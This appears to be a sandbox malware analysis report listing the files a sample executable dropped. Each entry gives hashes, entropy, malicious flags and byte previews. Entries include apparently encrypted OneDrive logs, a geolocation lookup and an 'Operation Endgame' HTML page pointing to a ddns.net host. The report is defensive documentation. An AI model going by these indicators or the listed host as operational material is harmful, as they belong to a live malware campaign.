Preview:	1.0./z........+.Il..}.....0.a...l...C.~.B.(Z.K)..BO]...../Tq02...`...&4\\| 9\._....9q...........'p........ .{S.FG.37E`9;....{.r?...f.8....WA.9...?......2N....C.<.,U..nlf.!..JT./m.g.W...7..He.7.Y.p.d...rNW.:.c1...Hh>...>...aP.n..$.........Ez&.SM.1.~9B.+h.....&......d.D..."..t...D6M..Z..jYG....c.\`.4.\.=3.Fm..@....7.k.d..=-..E.....J.......?.4...c.]W!S!.ZI...H.d......7"~......c^e.%\......v..c...W..Q........:.!.d.!......I.~..wc......'.....R.Nu[..d......).vVo..1_}M.25q..-Kb.?...}-..?...d4....Q..y6.4..^Bo...[.^fzA..-.<]<G....W...?.kQ7...".9.82'T...--A.pK.J...A...$.Q..[7......d...rR...."..D......5.;.l.nssPC..".,)b..;.b..b<.#[^~t..V...T(......_.....84..N.M.0.~V.^....P3.$`.....A.....o.Z..........a9...)..)...c....(.1.g.9.%_I...#.Du....P[...f..... ....h....$ 5...?t.j.D.fz.ER.. .SX.....c...Ze}..QM.......E}y.....U_G;.......d..<.J.u..vs.8W..GZ.V.&.Y2B7+.-q..j...Q..._x...N...&C.."2.......PJ........TK. 7r.;/..@..}...K....)...h3Qo\....s.ij.a.o...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.725241758503923
Encrypted:	false
SSDEEP:	384:sCc1UgSemrcQhKBeUURbAlSQKG027Q3XoyaNFszgjY:sBq7emYQhKBeUqcJZV7VyaN
MD5:	D19B5DEBCF84206ADDFBA3B17923FFDC
SHA1:	51D0A37AE4EEF93EB65F1EF5E3B90FC5E814813B
SHA-256:	2BDDD0F08304238FA64CEF5BFEBDDF35F2B47FEF99757E9216D5E7DFA869E636
SHA-512:	943136B1A35C09FBCC084C1C27F2A112BF24458A9BB08554D37F8052F4C1A2D73A5475F54D7F6705D46073C884268E5288A08648D5F74D90B933C4679B7EC2EC
Malicious:	false
Preview:	1.0./=!.mZ.17...b?,.~\I[\|.r...].sM.9.SJ.0R=.$...Xk{S".g..Z7..z.X$..~zP....}WuN..K.......i....`.F-...i...7....7S..r,.B4~=]..v:..Y..f{k...... ...g@Q.../.@.....s.B]......@;.?6.t....>.x.....K....4.....g..'pS9].AAV.).=.8.1.%=H.U/Xj.M.mk.K@>.....k8/[..........g....^.[Zyr.L.J._Jv.5}...7/..xZ.!8.\|.u.....<.....S....'.OF..>..>.$Crz.. 1....dDTW..\|Z....A..?u..O.?.z....@.+..........R$WN..).@..X..z..Q.M........hmt...{.[......HS..}..&.i...R........q...,>.......ud.-.>.z....#g.,IH...5/!..t..\|.n......!.9xy.a..4.Z./..z.....2.<....j.$.9.y..)..R)..zB......-...>..].KN..E.(F~m.Y.Y\(.!/...9.9..T..~...sP..b6...5<O...8..>A.........Xu.ttBt.C.s.N..K...F.c.Yf."N.Ai.......Q..Rv..C.. `h..T.i@L..3=.Q....1..tB9.k.+.....Z9....b\|WW.b........u..........J....t..q.+....G....S.7S.I....?.o......K..A..d YQ.....E[..pZ+.....7..l..e..#./q.,....J.f..O.j...:-h..+..B.Wc..}........n/...o........'J..D[..Oo.b....mV>x..%5.`9..Z.]....Z..8.....\|H.....!E.......R...6.E..\.3:...(.&..}z_Zl...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.601728984408389
Encrypted:	false
SSDEEP:	384:i2wE0l+NdHNx/PWqzwYluDoqVQBOhgp59K89sB:i2wEyAt9PV9A/Dhg8Ws
MD5:	61030C39E3761B20430F6DF432CE5054
SHA1:	87FA0500D03480B264DBFA232034442D2F83F908
SHA-256:	7D5C3E9D189791C8D0BEC73B0DDAA22FFA20B0E3EC1701BABC5A4A16D2817632
SHA-512:	E1DDF5DBEFBCE9428BF800FE16085834BC53F078BFAD89320899F721929D765A73047530CD1E3D138A342858260CCC6091A380E915F5774FFFC5B6138E267963
Malicious:	false
Preview:	1.0./.h...G.........M?}.GD)9q.Zj..A..C.......n_a...C`........<l[..hc.Liu!..]D?f.?.h.b....\|......%....'X...9'....jB..Z..h......&........`...a.8..\....v.vN..R.!h.h.;...9..m...$..k..>.K .X...d.../..#..<0NMS.......V.a.^..M....N.OE....[..q.....>M.H,)A.t+......YN.R`^0.>.k8........./.7..Hf!..p.....ug4Y.K.8-.=.S.x.3....n5XD...kb...x..Y..f<...R...X....%..B..f9..9..S..L./....B......w..(..\|!I8.(.}.&..Z.7;M...3...P.%IU2bt\l.:/C:yz.)....a.._.`1.L......Z..:...]T.&.~P.. .L..3...."....\.....u...]c:..J.............t._.P..Y.b...%C...lpc/S............%1.j. .H&....y.h3.Dx.........b.o.=..o.A..-f..l....J0..nV..-../1Wc.....I.K,B/.O.z.....3..,.h?......~7./...]Q...;..2..(aO+.i2......$. ....].6k.a....j .T.......n_.H.....1\|......[U....;....D"...w....r...1E...":n..]..........k..v...6..v..?s.}.A..C~..t\|....V.r.5uy9..z.....+....Q..].....i..+.V...d...@H.c.a.Yg.U.4.?.................TB-.f.gJ%..a#X.p.3O...]..R..w......RW.d...F.............F......N\.....~.n..."..^R...+>...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.377348073027788
Encrypted:	false
SSDEEP:	192:0aBXO2dwp3u5mwnoc172nZrEreivzibO8IttTC1myDVj13rG88td1nLg+eyO:BxKBurom2nZrRHi8IttC8C513KThLr
MD5:	8188F57038068FC0EEB689A7C985FA59
SHA1:	808CB3124688BD6731027887C5302E1FB14CAFAE
SHA-256:	6EDCB2DDCCFD332A8672BA304E16BEFA07E08530553A8D0936CF6A9E3C39D4EF
SHA-512:	AEC20B2D01A96329357DC2F232D4D5E30DBD38B8546B1052CA2D8A52BD01C28E0921ABC58670A70E087B4E0809F22AB2F84668844E1BF854E68F300ADED618EF
Malicious:	false
Preview:	1.0./..{..gA'....0i..E.C..]`..e..a....h.............jh4S."..{Q.lg1...%v....`*....V..N9W.p..w...!.u..<...%U.\.c.Vk..........q..G.Fc........M1...T...h0:..".c..n.8<FV..B......P.....<Y.t......0..Q.....C...c..<;...^..~8=...N...n_FoX0..s....I..hSAb........._C..>..rX.\|....d..hEM .........lS...\..Hv.,..Z.[......1...H..s.....G..6T...J...N.~L.......Nw:.....3.\|zM....>..._1...N...%.U6T...[T.u.yJ..\|...Q..../._...N.:..x'0.......(.H9u..y.....-.w.x.....\|.z.q..Rl...2.;R..p .X70..u......A..Np._..a.n...............k...t..7.Eh......<C.R@.[Y.._...F.......K.[.<...!.\.xS.A...l....5&..NB..1#.JE....q...I.0...~~q.E.S.<D.........`..^....A..mC.........2.F..+/...TP.>#....o...b~...E.....U....IY+3....STXe2.....-x.,......Rp..n...j+.G.d.-..4.c..4\|.I.3.{..p$..xa.2.77..5R.Z.W..[..]9"q........6.v.c.g.\|......6O..o&...f..O.......2..."s1...0.&zE-R.d........Y...6....m....Qj...C...Jk....p.....U>{....G..a_.{.,'..G..N.2U<..{........X...L..5g..0..a.=.........7..y..i....e..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2017484537729142
Encrypted:	false
SSDEEP:	192:yX1x+FPfGFStR7p8o9RcD/2W9xTSnaoX3ZTOr:yX1hm6oTcDf9xTSaoXJTOr
MD5:	678A1DAFE8A50D39BD28B02947382777
SHA1:	69B2D606FEC802D8EAE2A59B86652230EEF3D6D6
SHA-256:	4953CE4B9AE27AA731912DC87D05C8DA7CDBE1F2678297E053E4E7F98DDAFD83
SHA-512:	4633AF29CBC1B4526C8D8D025C67C4611CE4AC25C0B47ABDC76CB4370B3CF4604AF67A8FD9F46AD2FF9006DCB49A1A029C88CEFC704538FDD919B504E8B5DE72
Malicious:	false
Preview:	1.0./.....a.r...F..p....AD!>Hw....]....oQK....h..w.I.3.\..?.zF.L.:.T5.[.~....tY.....u<:..d../.X.CY.... ..4.c.!......%... 8^...D7:!.}..V.U...Z9..Rc..}[,.k)).:...f#%...y.`,l...m..bQ..,..~..e~+.g...!8Dw.~).K.]g.Y.5.....'..9.,C:.......v..7.'I........\|.IvB7d.+.V&.....9.....f....x.P.....g.iC./..y.....8p".....i..`.9.B.`..a<...MRr..."..f......_......j.).f.!.BeH.=..m].3:.~......Hg........;o...5G%...fd+....X.....U.....q..}.3 My.G?r.Y..3.c..O..]./J.......,..<..0H....q...R.....".2..&.'GW.g.Io.9..hO.....]..S\|f.XS..a.l.HX......1...(.yct.....m{Q.y.....u.-...2......;^\|4..jzp...4.......j...=O...{.9..eW4+m....bE...g...Z.H).bc......m2..u..Y&.....T..kM..K......m..`v..my.L3b>...tb\.J.l...>.h0.G...v8..#..@...v...ft.S.G^k...._.0.&.....&F`.....]K...4.\....oN..v+#G...5...7urq......PbL..3t6.O.4..IYQ...$.l..B..C..&3.......?..{K...&4..b"._m..@.gK,\..Dx.&PQ.qNc....2.4h.@...PjD..$..`.{..S...p.$..B..q.....(U&..*.D....Qd./......c.q..BwEdk.0g...5^Z....;.....+.4.u...M

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.7620167719025959
Encrypted:	false
SSDEEP:	192:jr7tbfFv2t/L45bflRjzbpP9qRCHbsr1mdy1NkpFaWOfaIGLbh2WI:n1tv2t/KvJVI4AIwNaaBfaIGLc
MD5:	676070F79615C4FC2A401146E540E33F
SHA1:	4EBB68A51753E21BF7454D22FF7C1B1C9BB43905
SHA-256:	7D94C33367029247997393D3CD8EE518F3970ED5BC0EF4EC34400909C356CD32
SHA-512:	172C697641973275FAE65D647D603B73F09CBE6D8D7BDAED154157608F54B158E9A7880A7C1A465863C867F5028B98FD385C68F1B8246F0B1CEE7329C9EEAE13
Malicious:	false
Preview:	1.0./y.......;.J.y..2..y`9{..r4..U.P...._..&.\|.!..B....F..V.r\|...\|..4.x...]. ...u.g..#....)g..F^..i.....d.....C..#.....=f.x.\P.<....z.Q.......e6..........$.i5.F(...l.....R.#k.j..}p.Q..S.2....{.;...~...3.^E..$8....h....v....>.;...O..@...^4.....z._...c0..+.u..?fm...R...QJ.k..'....-......Z5+4.~0........<~.4n.3..-Ny.W..D.r...._.w...N.Wb. ..,Rn.2.N.I.......F.a8....b...=.`..3.A..bdw.#.. .... `...Y../.9.a_D....2d......C..i #.. ...J....<.t..zB.......o'....0.h.BoRt..c.^.YM..X.n.z..2H......`..GX.$./..u+qE..+..6.\|.^.5."..,..o..R.S.....'........gr.....8..F.).w.rT.\|.........iPV!.;.GTT>M..............>.5.qWc.qH;4$~...b.......[.q.<i.".h8_. ......->...........P:...!w.\|.....u.so.3>...G ...i...(.'.N@..O.[.tn..[O.v.P>Pg....6.....u..p`91.TV).gc.S..@....~?.3.2.. ......9].SeV.....\.G...!Q..?..rg.m.Xl.g.U........5..t%;...p.........ztyih.......&....oo..}.....C.T...a.._....-.P....{,..H{u....y...v..\b....nI.O....VY7uM....;..K3..V.B.Y.'Ox.....".<^p".9.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4260327546668874
Encrypted:	false
SSDEEP:	384:jtRjtpbnRKKyNCqOh4ypYzRjjQMfBat29oyA8cxOUIRcYhNnLlkJy+nDCP:pR3LOOh4yg4CBat29oIrhNnL+JysCP
MD5:	C9F7D5B75C9186CE1D42E3D43022FF09
SHA1:	4F6443991F88B3E8E48546C67F14EB3CD9C80F2D
SHA-256:	8816D0CF41D7E461344AA90E9C67337859ADF973D03A224D664AC5770E0A0D9A
SHA-512:	8AE4F5E55A77321F0111CD1DC45C8E8546078BCC3F21956BBF68141D1F8AB97C39322943975BFD2EC646B5E398F99C79896A269CC775DBD44EAF5E77A5BB2B86
Malicious:	false
Preview:	SQLit...XB.U...6..tn.....B=(w..f..._.j:...P.....Jr}}.9o......i.....,l...Z...k....y.r\|6..b.&w.~\|y.^v..0..A.8=..%..........8....s\|..O....=_..h.W..'f.....M.!..[.0....H....e...Mh3.ah3A.+...WTWev...........D...G.......f...F!bd.+.....Q...g-.e.h.NgH'.V<L,&..n...'.@.7..-.m.?.>....i..dr.. .......<.Z..6.;..^....A.%..F.\|...0.gj.>`,...p...X..j..{.}...._.?..I..{b5.\|.].]M8....1h.......L.(..6.S.O.T(.k..................o..G.....g.-8&p....Nq..E........P9.a ..`..+.....A9?..[.4..%.;.w.....G.e.#E.1?&....Xn.m...SSz.8A.."............I...'.&UW.e$5..6..W)..'jE.@..]...#..2y..uy.{S....3f.............9.V.. !..o.^@ID.Ib......\|J)..."{K....j.........Wx<71.J..>..1....4...J..7]....s....>>.....B...w.@m.T.E..N.f..9Fd...+HV........>.3.".H.g..'PP.9......g^...2ro..3..e,...B.`.........6Q.'.j.=..l....:.g..t.@....V..(.........@.w.a.+..s.X.& G...2.lw>vu_./.m.&....J1.....?..>R....gG$.g....qN!....^.&X..F..g1...c...b....D........J~...s.k%.n!.}jKQ..=..U7...&c/....zr#.0

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4254971977994373
Encrypted:	false
SSDEEP:	384:VmA7iS01vU+frCnfUVkf9i9JlhJkNxx5T77h3nqHtQ1CPzUnrMoo:7055fuf1f9mlhJkvxVHh3qmCPM
MD5:	7A653CD3985AC19117635A9107EA5404
SHA1:	5B9145022F2FA5B421A6B8A15DAE559A40924400
SHA-256:	2532B1F6BC09473FB6FA1ABD084217810A2DCC554BB6DDB333B45E504BE4543A
SHA-512:	D7987167ABC6A2F1E59C3E1B0B2899C94635C228F7ECA15880A1219BF97B215AD264B789773A8151361F647798FEA07D20057B92CA2884079998406A43904265
Malicious:	false
Preview:	SQLit..Y.,...Vg.......X6K....y5..i....^......8..._k..9...O._Q.b.......5C..j.;..S.D..f-.@).@...W.{^."....z....4.ui...R.u..$.c...8./.E.V...$...,.(f.m......T(.o.....G.4#...YXxx7..:w.~.x.-..._......... .v\|;.X.G._..L]............V.m3#.=.Sk'.I2.g.6.......'.1Xa...i..k.....@..../bI...8/k..Y.l.....f%\|..r.S. 4......Z..\y.j/.a.c.......b.d...)m.%.S.w......YYN}i.3.Vv.B)/....."F=.[v.iX:..yb.Q.....9hD6..9....t..g....6..P....V0../..F....A.9,.;..Im..+n.j!.!..]...@O.'g.ij#7I.~..j?..{...B:.a.B..=R.x...g:-.dg<k......~...?..B. ...._9..zO.G.....=..d..2.....9..Q..-o~...F.z.-\^..d...".w.>.DX....%..1..W..l.y.v..)....~.)l=#A#....g...&.....5VZ%..S.Dc.^_.?.=....L...s.A....pUb..M.D/p.@fu@..............b.G?..$<$.e..@R.lD..$P.UI.:..e...F.....{%L.=..,Xf...3.j....^...3.l.....BT4S.5.8$.....~.%5..B....^%..d....Q...3R..r.O{V0....V.}..J........%.Y..m-W....s..._.J..?...?.>.cP._.v.l..=!.....^...S2..n.".>lS.".p....9.a..p.Y...r......0.....Vc...r.1..$..c.....g...[..?.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6633949271323956
Encrypted:	false
SSDEEP:	3072:YI5jaQySJbxID1h+0ZfXxbiPeGhKdPh4qCDpnIdj0j4xjEVM:YwjHxsTz5biGG5q/c4xqM
MD5:	B9E471CD478F1F8A50CD5E1516415E5B
SHA1:	FCE217396A55F7C6EB42DE27DDC6285F5F9A27E1
SHA-256:	29D438351B253EAD98D21BBCE394228CA92F3291A419642CF0BF01EC52A9DF4F
SHA-512:	42A2C59241881C126A3CD6259C7FDD79474AE6245016576E6686C0808DE8D842DEB5985C3BE73641220AF024C85828EB05E92F4B34F38746DB8DCE7606A1F1C6
Malicious:	false
Preview:	1G.f..j...#.#...ew...(@A.....2{1....}.".{.r?......W8...G.O......O..V..u.\|.....+l.m.MJ.T..P.6..(.@.\V[NE..Q%..Iv.y{.;.!.....XJw....f$.....9...#....I.:O.i.......~...X.b.'.,].X0.p{....x.w.z.;A...!.rm.....wX._.Z..I5.. ..J..m.^y...v.....,.H.....].T.....g...^.Q:..d..y)...$......Oy..~............,./....z.).H..3}@..^...Fz.O...AO.....#.\.o/`....z.....1%.....J.kV..1.....J0.._...O..$gw.=.S...v.G......lH.s.P.T.8/........Y.gX\|....M.e..'5S..8.[J...1....... ..2..Fn...#l.SBI.....B+.0...].5.l..=.......GQj9..".9.X\|...q...K..9Pm..M....>.qD"YWZ.....Qq.H...C\|.X.3...If.hX`.....}......3.!.."...b.U.3.....p\`7...2.tt...K....n.X..;...u...g..d..<.T3.-..<..i1.#w.\QI....N..p.@..zO.. .s.a..G#i....]A...8.1nz7.........bt...J.%......B.d.R#....0.t.9avx....b9L.......o..?..D...t....d.x. ...0.z....../Y.....-.......C.S......0....O......\|m....Y.5.^W......Mf../.X.qv..30.x.c.h.....q5O.$.~r........?.X..u.O...2N..<Q..S{#..Q..B.i.!.0D..Vw.<.Q..?.m%)..m.?....Q9.t.'.uz

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.427058663342874
Encrypted:	false
SSDEEP:	384:38OYRzqJkqCRE5gdIYJarvwH0kH2jv+jmuLkp3HkwxQuBK6eoPk1Pyn:MZv45ge9TrxuL+HVNPm6
MD5:	8927611A6C6E8D9048E98C7024315DF8
SHA1:	C845F15D794514E41FD1812E03A45526E0A70BD5
SHA-256:	9F3CCB3755A511C5D0D70B2ACE73DAD4824990A322EE540DCA8DA57027418982
SHA-512:	6406ED3A8A47E5420A074AF8C9933B0EC89E612162C9AB8BB7A4912FBF4ED642B283B066C02CB5D45D8D4DE130A5E7FF7A85E46C9B6FBF03C41212806056652B
Malicious:	false
Preview:	SQLit{.K"..Y....;/..s......t3..K..%.?b5u.....5.w8.....}..\|j.Sg.B..H...b'H..]...'.9...X%.}.....n....u....N..55....Q.......=h.+..\|....Z:......81<\.n....L..e,T.W..........<..SR..3F8&kK.....g..=.P.-\|.'+./.ywa.sgD..c..L$....Q8.&...m.`...#A.bG..(^..[5.B.d.M.T.2...#.B.T.O...N.p.sD.......E..n5...d....(...Z....Zvy..0..]....L..6..u.6.q7.5@.9.S..}.<...m.9Ta.D.Z....<..M..\|.!."r......np...<;.@.I..zGnws..8_..^-...Q .MI..r.NhxMB.l.F"^fX....4..]. P.;h....Ui.Wl..,s/$.n..2..O.)........j.}].g.8..'.]..Il.L.7T.............m`..3o.}U..d^...........'.........l:\|..C._..................$54....a...-..~..-.N..'W.........HY.i~E...ai....Z..h.8.B..O..<......k.nb.GM.0.}.B&..Z..+.a.u5...P.=....a...d.0A...%@.`)jz..3.......i...-...u.n.~..'...q...>.!..(N!.....)....3....p[qa.....1..5cm..YK].4-.r......u...u3g.r.`..Y.f.h.Q.-.....by,w.l.P~..5.Y.....V..D..V..G....h.....A.~..,....ui....VDb.%.a.S.A.PGt..o_.5..t5D...m....F.H..;......1!%.v^@j...^......Q;.V.Z...m.m.3. f..m$.l.. ]

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.858520216340247
Encrypted:	false
SSDEEP:	24:Ysgb77dfXQJL0kL0p1WkUFCYdMmiR4IsgjQYg5VFJpe+V1OjcbD:YsgdA6kLg1Wksc4IRjOJTV1bD
MD5:	C8F9ADA31CD329F0715A0CE3E11D811D
SHA1:	131005D04C96D990E75554EA92CBC600E9EA2A11
SHA-256:	D6D2B74E749C3F1B3D9E41678FA499E6653A4DB749163C56D9BDF6772DC09782
SHA-512:	684F2607A57B8509C41809B8AB6673F1AEA53B7AA8D7A38FB730C3CE7D6298013B7F8B55FE46E2E9FC0AD07BD3906CCDA16C41FCD5A122C10F09C21BCE2F8896
Malicious:	false
Preview:	{"Rec.^..4..b.U..9..(.....yX....6..~._z.!l'......D.....U.{...3..^b.`..Hx]p.4......7.......c...._^c......6.....+.C-...8....wC.W..N.....H..X...N-.,./.......zC.Y.w...A.....f...............QQ.~.f?0...J.M...c.M..Y....?.V...v.8!..crd.V.....KlL..x..C....K...uc.Z....\.e.....O/...C1..Rk.L.k...dm....EhhFx...\^...&.r.;.......j.....K...L.y.n.../.....t.x...H4..h...FB.}..=~#Vm.G..).....8...t.. ."<.C#`.....>........Z......#K(...xW..a.d....H,..h.!.....[..]...>`8..Y......6.7..R....".!+.....F........I...Eu...Js......U.f~F.I.....Bz ..{.....x.z.<.Y.S..[.._ ...3......b.1._..9S.....5..$;.Z...l.%\|=..fL:.Uz...O..Z..)..>...qH ..W.....hBT..E.......J.,.=.d.\|.:$.{.S..vz..p...<.b.3j.K.,>.G.......u.`....(TH"Q.i..'W[w...o._.Ye..f.=..eh.A...LQ[=y....F(..q..[Vr9L......P....x;._...<XVu..{.A=8#....\l.D....;.f../...Zi%.G4...D..H. Y.R....ukL..+n....S.h..st/L.a..S4-E.C...Kj.&Ti..o..vH..]....;....4.gb..........:R.)..n.....[.m3(F:..f."?3.$<*.O.u....y"....w.%.a#....^q..F.P.O.}.-.F>.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	108526
Entropy (8bit):	7.998430286709139
Encrypted:	true
SSDEEP:	3072:YBdlFI5BRGNP5ddzS3wYpi8QkQUrADg8F:QF4RUP5d03wuqvrF
MD5:	4E20442E4B83A170C6909166D903FC24
SHA1:	8524DF75FF02BF0F6488ABDA0EF2B794EA583A40
SHA-256:	124335745D19E7333311747C1B452E4F8382CBF958B48B069D7755FB242390B0
SHA-512:	FCC4F0EF987A31F593208629AFBF4F25E648CBB3175FD4B070937AD5702E0808AE813783048A1F94300F93489659003B8F512A9D6DDBB2917EE7B7241E5AEE50
Malicious:	true
Preview:	....hf)./l~....z8...Y.....7_OT;+A...X.?(g-.d...YO..U..u....,..5aaE..w2...<.11..<..@u,.(INL.Bd..v.]..$(a...h%..K...._.O..G..Fp.\|...8}..h.....@...E..[.^K...B..6%$.n.^.....U......%z...sP....L\c.....8......PA.V..i.C. ...".N2.=.MzN9..3...#RG.T..-3$.....@...8..'..E..u....M.zweu.E%rK{...]Ji.O....\.#....=..-.....3~.7...yi...{0.z]n.;^u.c....&...w..&.k&...-...p.2........D...`5...@.z0 ......P.M.l.ns:KO..%Jv...H.c.LU-F..(...%..}.".]F....H..:^p<9}.....}.E.Y$i2./H...~.d.,.e...$.oB...Eusg.....k..k...<N..WY...T...M...\.A.....#.=S4{. '..zQc.......h.M.y-&...B...$s...CP.r]K..;%.....}u;'...H8.....D..4.R.h...'....z<...j..>.@{.{.)g....+............\.=....%.....2.Q...I$.@/..wa>Z.....b.....+P.P{iL......5H......l...t........-.....?6.=..6^A...l.SST.4Oq.........r..0jo..P6..X'.+?.f..........J...r+Pz.....#.....Q.y..s...\|Q..,....9av'p..$1.=..j...ru.c....k/.....9....bq)..m.y..&^.Tt......~..[.B.n`....2..&"!.Va.w....u.....o.O..;..\.A(.._...<./y...........p.1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	3.8620388599907276
Encrypted:	false
SSDEEP:	6:hNSJL/0GMh63AEdhaA8SETEKVpnv0XVuzuBCcIPyiZTYFr1dtalAmXQGDf:h0qEdgjVpnv0FuOC5PBZTomjvb
MD5:	6910426A598BC0B07DD6CA7C2FAF5C22
SHA1:	4304D65A08652B167453997E1464CC6EF034BE23
SHA-256:	EBFEF207462C29030B8A06068C8CBF1CFEAE1304813B9CDBFA2D705B314BF692
SHA-512:	5E96757FA5DAA336968AA07D5FE5525040A081A547DD6BAD55BED4539AD76B3F96AABD38F461EFDAFA4A427963B2A3187CC40DFA60C74E6C6DDF738176381952
Malicious:	false
Preview:	<!DOCTYPE html>. <html>. <head>. <title>Operation Endgame</title>. </head>. <body>. <video playsinline autoplay muted loop height="auto" width=100%>. <source src="https://opendgame.ddns.net/endgame" type="video/webm">. Your browser does not support the video tag.. </video>. </body>. </html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	4.648516537763437
Encrypted:	false
SSDEEP:	12:YdWqwpHEx6useCtrESQVctrESQVzR4heQ3htrESQV/m0mQP2JSnVR:Yd+HD+CtrRQVctrRQVzRZQ3htrRQV/m0
MD5:	43E741B13DD998BA15EB08C0067B1B02
SHA1:	B3B400FC5B44519D6B13D37EB0344B5927C07F46
SHA-256:	19D96377F9AE782D3A4BC8CAF3E63A6C30B537668B6876223D95E4CEF88100DB
SHA-512:	C3F6B830D8AD853EE0A854062CA52E848ADD311541C64F727D16DAB995064BD59F9F8491B0BA90D274314FA9D58A6B3CD34AA8D734FDB110E0EE78E29446D83F
Malicious:	false
Preview:	{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[1].php

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	3.8620388599907276
Encrypted:	false
SSDEEP:	6:hNSJL/0GMh63AEdhaA8SETEKVpnv0XVuzuBCcIPyiZTYFr1dtalAmXQGDf:h0qEdgjVpnv0FuOC5PBZTomjvb
MD5:	6910426A598BC0B07DD6CA7C2FAF5C22
SHA1:	4304D65A08652B167453997E1464CC6EF034BE23
SHA-256:	EBFEF207462C29030B8A06068C8CBF1CFEAE1304813B9CDBFA2D705B314BF692
SHA-512:	5E96757FA5DAA336968AA07D5FE5525040A081A547DD6BAD55BED4539AD76B3F96AABD38F461EFDAFA4A427963B2A3187CC40DFA60C74E6C6DDF738176381952
Malicious:	false
Preview:	<!DOCTYPE html>. <html>. <head>. <title>Operation Endgame</title>. </head>. <body>. <video playsinline autoplay muted loop height="auto" width=100%>. <source src="https://opendgame.ddns.net/endgame" type="video/webm">. Your browser does not support the video tag.. </video>. </body>. </html>.

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997927749247629
Encrypted:	true
SSDEEP:	1536:SAWmJaZ2IEx4mWBPymUbC0Gy9qCNS+cuRD5kHuEt/VXX5:SfqiW20xxNRRD5KPVZ
MD5:	3CAB7F2F1A6C217F0F9EC7C684D65719
SHA1:	C07BCD943335CD8971A9DC75B4DEB13B054B1DEE
SHA-256:	07A3FDD9198AB9B03F5B125CFFF388DB3B1B5CED72CDD831E6EBC03466CBC247
SHA-512:	C7914B9E8E7FBC7D2ED07D80DF1D4FB468AA82E79AD0DC142559725E3668EBFF95D05618B11BBE5699D536A269A54C8DBDE49417DEC8046B916B14808C0196CD
Malicious:	true
